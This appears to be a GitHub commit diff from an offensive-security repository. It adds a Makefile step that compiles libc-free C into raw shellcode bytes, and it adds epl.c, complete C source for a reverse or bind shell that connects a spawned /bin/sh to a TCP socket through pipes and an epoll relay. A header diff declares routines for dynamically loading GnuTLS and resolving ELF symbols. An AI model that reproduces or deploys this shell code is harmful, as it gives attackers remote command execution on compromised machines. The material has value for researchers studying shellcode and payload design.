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odzhanodzhan
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Lines changed: 2449 additions & 9 deletions

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‎os/linux/c/routines.c‎

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os/linux/c/Makefile renamed to os/linux/c/ssltls/Makefile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
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tls:
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gcc -N -O0 -fno-stack-protector -nostdlib tls.c -fpic -o tls
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gcc -O0 -nostdlib tls.c -fpic -o tls
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objcopy -O binary --only-section=.text tls tls.bin
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xxd -i tls.bin > tls.h
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clean:

‎os/linux/c/ssltls/epl.c‎

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/**
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Copyright © 2018 Odzhan. All Rights Reserved.
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Redistribution and use in source and binary forms, with or without
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modification, are permitted provided that the following conditions are
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met:
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1. Redistributions of source code must retain the above copyright
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notice, this list of conditions and the following disclaimer.
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2. Redistributions in binary form must reproduce the above copyright
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notice, this list of conditions and the following disclaimer in the
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documentation and/or other materials provided with the distribution.
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3. The name of the author may not be used to endorse or promote products
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derived from this software without specific prior written permission.
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THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
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IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
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WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
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DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
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INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
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(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
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SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
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HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
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STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
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ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
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POSSIBILITY OF SUCH DAMAGE. */
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#define _GNU_SOURCE
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#define PORT "1234"
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#define HOST "127.0.0.1"
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <sys/ioctl.h>
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#include <sys/syscall.h>
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#include <signal.h>
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#include <sys/epoll.h>
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#include <fcntl.h>
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#include <sched.h>
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#include <stdio.h>
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#include <stdint.h>
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#include <string.h>
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#include <stdlib.h>
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int main(void) {
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struct sockaddr_in sa;
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int i, r, w, s, len, efd;
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#ifdef BIND
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int s2;
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#endif
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int fd, in[2], out[2];
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char buf[BUFSIZ];
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struct epoll_event evts;
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char *args[]={"/bin/sh", NULL};
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pid_t ctid, pid;
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// create pipes for redirection of stdin/stdout/stderr
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pipe2(in, 0);
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pipe2(out, 0);
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// fork process
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ctid = syscall(SYS_gettid);
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pid = syscall(SYS_clone,
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CLONE_CHILD_SETTID |
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CLONE_CHILD_CLEARTID |
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SIGCHLD, 0, NULL, 0, &ctid);
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// if child process
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if (pid == 0) {
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// assign read end to stdin
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dup3(in[0], STDIN_FILENO, 0);
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// assign write end to stdout
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dup3(out[1], STDOUT_FILENO, 0);
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// assign write end to stderr
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dup3(out[1], STDERR_FILENO, 0);
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// close pipes
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close(in[0]); close(in[1]);
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close(out[0]); close(out[1]);
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// execute shell
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execve(args[0], args, 0);
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} else {
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// close read and write ends
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close(in[0]); close(out[1]);
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// create a socket
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s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
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sa.sin_family = AF_INET;
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sa.sin_port = htons(atoi(PORT));
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#ifdef BIND
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// bind to port for incoming connections
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sa.sin_addr.s_addr = INADDR_ANY;
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bind(s, (struct sockaddr*)&sa, sizeof(sa));
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listen(s, 0);
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r = accept(s, 0, 0);
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s2 = s; s = r;
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#else
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// connect to remote host
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sa.sin_addr.s_addr = inet_addr(HOST);
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r = connect(s, (struct sockaddr*)&sa, sizeof(sa));
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#endif
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// if ok
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if (r >= 0) {
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// open an epoll file descriptor
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efd = epoll_create1(0);
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// add 2 descriptors to monitor stdout and socket
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for (i=0; i<2; i++) {
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fd = (i==0) ? s : out[0];
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evts.data.fd = fd;
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evts.events = EPOLLIN;
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epoll_ctl(efd, EPOLL_CTL_ADD, fd, &evts);
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}
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// now loop until user exits or some other error
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for (;;) {
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r = epoll_pwait(efd, &evts, 1, -1, NULL);
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// error? bail out
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if (r < 0) break;
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// not input? bail out
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if (!(evts.events & EPOLLIN)) break;
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fd = evts.data.fd;
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// assign socket or read end of output
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r = (fd == s) ? s : out[0];
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// assign socket or write end of input
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w = (fd == s) ? in[1] : s;
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// read from socket or stdout
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len = read(r, buf, BUFSIZ);
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if (!len) break;
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// encrypt/decrypt data here
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// write to socket or stdin
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write(w, buf, len);
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}
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// remove 2 descriptors
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epoll_ctl(efd, EPOLL_CTL_DEL, s, NULL);
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epoll_ctl(efd, EPOLL_CTL_DEL, out[0], NULL);
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close(efd);
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// shutdown socket
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shutdown(s, SHUT_RDWR);
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}
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close(s);
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#ifdef BIND
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close(s2);
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#endif
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// terminate shell
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kill(pid, SIGCHLD);
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}
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close(in[1]);
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close(out[0]);
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return 0;
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}
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os/linux/c/include.h renamed to os/linux/c/ssltls/include.h

Lines changed: 3 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -117,8 +117,6 @@ typedef void (*gnutls_transport_set_ptr_t)(gnutls_session_t session, gnutls_tran
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typedef void (*gnutls_transport_set_push_function_t)(gnutls_session_t session, gnutls_push_func push_func);
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typedef void (*gnutls_transport_set_pull_function_t)(gnutls_session_t session, gnutls_pull_func pull_func);
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120-
Elf64_Dyn *elf_get_dyn(void *base, int tag);
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typedef struct _data_t {
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int s; // socket file descriptor
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@@ -180,20 +178,17 @@ typedef struct _data_t {
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} api;
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} data_t;
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183-
int init_ld(data_t *ds);
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int init_libc(data_t *ds);
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int init_gnutls(data_t *ds);
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void *get_proc_address(void *module, const char *name);
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void *get_proc_address2(void *module, uint32_t hash); // using base address
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void *get_proc_address3(const char *path, uint32_t hash); // using file path
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void *get_module_handle(const char *module);
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void *load_module(data_t *ds, const char *path, const char *name);
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void *get_module_handle1(const char *module);
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void *get_module_handle2(const char *module);
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void *get_base(void);
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Elf64_Phdr *elf_get_phdr(void *base, int type);
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Elf64_Dyn *elf_get_dyn(void *base, int tag);
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uint32_t gnu_hash(const uint8_t *name);

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